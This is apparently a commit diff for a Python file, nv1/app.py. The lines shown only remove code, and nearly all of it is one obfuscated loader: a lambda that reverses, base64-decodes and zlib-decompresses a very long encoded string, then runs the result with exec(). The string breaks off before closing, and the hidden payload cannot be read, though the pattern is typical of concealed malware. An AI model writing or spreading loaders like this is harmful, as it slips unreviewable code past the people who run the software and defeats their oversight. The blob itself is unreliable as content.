Update nv1/app.py

nv1/app.py

@@ -1,2 +1,686 @@
-                  
-_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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